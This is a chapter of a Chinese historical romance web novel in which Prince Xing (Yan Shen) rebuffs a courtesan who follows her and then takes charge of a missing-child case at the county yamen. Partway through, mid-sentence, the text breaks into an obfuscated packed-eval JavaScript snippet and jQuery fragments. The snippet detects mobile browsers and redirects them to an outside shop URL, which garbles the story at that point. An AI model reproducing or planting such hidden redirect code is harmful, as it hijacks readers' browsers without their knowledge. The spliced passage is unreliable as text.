雨停了。
马车碾过官道,转入前往融云山庄的必经之道。
车内残留绵绵的馥郁香息,闷得燕慎难受,干脆下了车,步行最后一段路程。
阴云掩盖夜幕,夜里刮凉风。
顾玉每天都带着燕慎掉落的穗玉,今儿正好就还给她了,她便甩着穗子玩儿。
忽然,青书向斜后方瞟了眼,略偏头轻声道:“殿下,有人跟踪。”
燕慎也注意到了,那人走得不踏实,步伐连追带赶,显然不是练家子,多半只是个普通人。
燕慎在京的坏名声没有传至水江县,就连当初到这边清缴大皇子残党,也没有声张身份。
所以,应该不是寻仇来的。
燕慎低头和青书说了两句,青书点头,在岔路口走开,燕慎独自进入小道。
身后人紧追不舍,见她加快速度,他也跟着提速。
他一转弯,直直撞上一个人,抬头一瞧,面前的女人居高临下地注视他。
他张了张口,瞬间寒光闪过,银器出鞘,一柄短刃架在脖子上,吓得他脸色惨白。
惊恐时的眼神他完全没藏住。
燕慎由此判断出这人对她没有任何威胁,因而转回短刃收入鞘中,抬手掐住这人的下巴,“跟着我做什么?”
月光映照出一张白嫩的男人面庞,桃花眼里闪烁泪光,很是楚楚可怜。
“大人,我没有恶意,”他被下巴上的力道掐得骨头作疼,连连求饶,“我真的没有恶意……”
说罢,男人弯起眼眸露出一种微妙的暧昧笑意。
别人或许不懂,燕慎却懂了。
这是个私伎。
一般私伎燕慎看不上,这个却叫她多留目光,因他长相艳丽,和顾玉是一类的面相。
燕慎放了手,他立刻用手捂揉发红的下巴。
她问:“叫什么?”
见她对他有点兴趣,他立刻殷切答:“玉津。”
怎么一个个的名字里都带个玉呢,真以为自己是块玉么?又俗又土。
燕慎微不可见地嫌弃,但还是因为他长得不错,给出了耐心,“私伎太脏,我没兴趣,自己走吧。”
“大人,我没有接过客,您是第一个,”玉津急忙说。
空口无凭,玉津证明不了,燕慎也不打算相信。
燕慎转身离开,不留情面,玉津看上她长相衣着皆不凡,很是舍不得就这么错过她,追了几步。
突然,方才岔路分开的女人拦上前,淡道:“请您不要跟着我们主子。”
玉津顿时脚下一停。
他还想说点什么,可见这两人完全没有给他说话的余地,只能悻悻离开。
跟了人家半个晚上,却无功而返,玉津心里不怎么服气,回了小宅去。
宅里另一个人与他是合租,和他做着同样的生意。
玉津拽着他问,“你当真看见那个顾玉和那大人拉拉扯扯了?”
“那是自然!我白天路过那家食铺看见的,诓你做什么?怎么?那位大人看不上你?”
玉津脸一红,“不是,当然不是。”
“你看那顾玉,平日里一副腼腆样子,私底下还不是和富贵人家搭勾?我觉得你没比他长得差多少……”
玉津听不下去,打断他,“好了,你别说了。”
.
风和日丽,万里无云。
阿稚跪在地上给燕慎打理衣摆,听说她有急事,连晚膳都没吃,赶紧过来伺候她更衣。
他也不问她究竟是什么事,就安安静静伺候她。
“殿下,今晚还回吗?”阿稚慢慢站起。
燕慎扶了他一把,颔首,“回的。”
“那我等您。”
杏眸亮晶晶,满含期待,燕慎倒没破坏他的好心,顺应道:“好。”
昨日夜晚,一个女童失踪,家里人到官府求人寻找,可水江县的官府一概是避事不管,这家人闹大了,在街上撒泼。
被回山庄的青原看见,转告了燕慎。
燕慎方一打听,得知这已不是今年第一起失踪了,以往还有很多人被拐,包括但不限于年轻瘦弱的男人女人,幼小的孩童。
因失踪频次不频繁,水江县官府平日睁一只闭一只。
“先上衙门,”燕慎扶框踏上马车。
青书拉上门框,坐到外间,吩咐车夫启程。
衙门此时闹得沸沸扬扬,那一家人不肯罢休,竟是在街上立牌抗议。
李知县被吵得休息不好,连夜赶到衙门来。
一行官员见李知县来了,连忙拽这家人起身,却怎么都拧不过他们。
“一群酒囊饭袋的官员!以往那么多人丢,不见你们寻到一个人!”
肖县丞安哄劝道:“大家别在这里跪来跪去的嘛!不然搞得我们衙门虐待你们似的……”
女童她娘哭得撕心裂肺,见肖县丞是个好说话的,立马跪着上前拽她衣摆,“大人,大人您帮帮我们吧!”
李知县已走近了,肖县丞咳嗽两声,“唉唉,起来起来,起来说话。”
女童她娘得不到想要的回答,一个劲儿地哭,一个劲儿地嚎。
“放肆!官府肃地岂容你们胡闹!”
李知县负手上前,人群不自觉地开了条道,小心觑他。
李知县对这大娘道:“你带着这些人先回去,等候衙门消息。”
“又是等消息,回回都听你这么说,哪回等到了?狗官!”一男人从人群中走出,愤怒吼道。
李知县脸色一黑,肖县丞赶紧上前劝:“消气,消气……”
李知县将肖县丞一推,朝出头的男人走去,气势冲冲,众人忙不迭地退让。
偏偏出头的男人也是硬脖子,梗着不动。
剑拔弩张,氛围紧张,两人即将对上时,一人拔声禀道:“邢王在此,不得喧闹!”
只见个衣着熨帖的女官开了道,将燕慎带入人群之中。
听到名声,闹止了,李知县霎时没了气势,弱了一头。
“殿下不是在山庄乘凉?大半夜的一路赶来辛苦了,”李知县抬手,“还不来人,请殿下去坐坐。”
燕慎摇头,“不必,我听说女童失踪一事,过来瞧瞧衙门可有动身办案。”
“那定然在办,殿下不要操心,”李知县腆着笑答。
“殿下?殿下!您帮帮我们吧!帮我们找找小女吧!我们家只有她一个后代了……”方才的大娘转身跪燕慎。
“衙门……衙门它不管事啊!”
燕慎凭力气,把大娘拽起来站着,顺势望向李知县,李知县顿时面色如土。
他辩解:“不、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422018|200787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是,殿下您别听他们急坏了胡言乱语。”
燕慎拍了拍大娘的肩,“我会督办此事。不过李知县一句话是对的,天色已晚,您当先回去歇着,不要坏了身子。”
她面带淡淡的笑容,温和又有力,大娘的眼神在她与李知县之间来回游走。
最终,大娘垂下头,“大人……殿下,拜托你了。”
青书上前安抚人,把这家人护送回家。
闹事的都散了,其余人便也慢慢散开。
李知县紧张到反复咽喉,幸好燕慎并没有说什么,只让他抓紧地查。
“此事紧急,我一同查办,请李知县拨个人手给我,我已有些记不清水江县地形,”燕慎说罢一顿,指了指躲在李知县的肖县丞,“就她吧。”
李知县往后瞧一眼,把她拽出来,“肖荀,你去协助殿下。”
肖荀连连笑道:“好嘞好嘞。”
再往后拖,难保那女童性命,燕慎命人把县门人口流动记录拿来。
“殿下,今晚酉正之后,再无人出入,”肖荀将记录册子放在桌上。
燕慎翻看几眼。
“城门的人手是怎么选拔的?”燕慎问。
“这……”肖荀欲言又止。
她神情细微,似乎没有心虚,也没有紧张。
水江县少有人见到亲王还能淡定自然。
燕慎忽然走到窗边,“起风了。”关上门窗。
门窗合拢,再无人可以听见书房内的对话。
肖荀便掏出一副卷轴,“城门守卫三年不曾更换,大部分守卫的与水江李家有深深浅浅的血缘关系。”
肖荀嘿嘿笑,“殿下,李家不是恶人,从不贪腐民膏民脂,也不是有为之人,身在高位,但无所作为。”
查案费心费力,这案子又影响又不广,头上还不怎么管,最方便的解决方法就是假装从未发生。
“肖县丞有心,案成算你一功,”燕慎收走卷轴,叫上马车,前往城门。
.
“昨晚闹得可厉害了!听说最后是邢亲王来了,这事才稍被安抚。”
食铺。
今儿客人很多,纷纷到铺子来吃饭凑热闹,聚在一堆说昨天晚上衙门发生的事。
掌柜不参与这些话,只在晚上打烊之后,调侃说昨晚撩开窗帘,窥见亲王身姿。
“殿下身姿不凡,”她只说了这么一句。
顾玉在一旁和掌柜对账,没有回应,掌柜也没想在背后多讨论别人,对完账便把工钱给顾玉。
掌柜笑道:“回去吧,早点回去,最近不安宁。”
顾玉点点头,道了句谢,拿上钱离开食铺。
离开市坊,顾玉总感觉身后有视线。
他不知道那是不是燕慎。
按理说,燕慎现在在办案了。
她应该……不是公私不分的混账。
那背后的到底是不是她?
顾玉忽然回头,正好看见想要躲闪的人,是个男人,他蹙了蹙眉,不确定是不是这人在跟踪。
继续走,身后脚步还在响。
顾玉不安地攥紧手,加快步伐,绕路回到了市坊。
市坊人多,总不会出什么意外。
这时,那人终于上前来了,他喊住顾玉,“嗳,你知道邢王乘凉的山庄在哪儿吗?”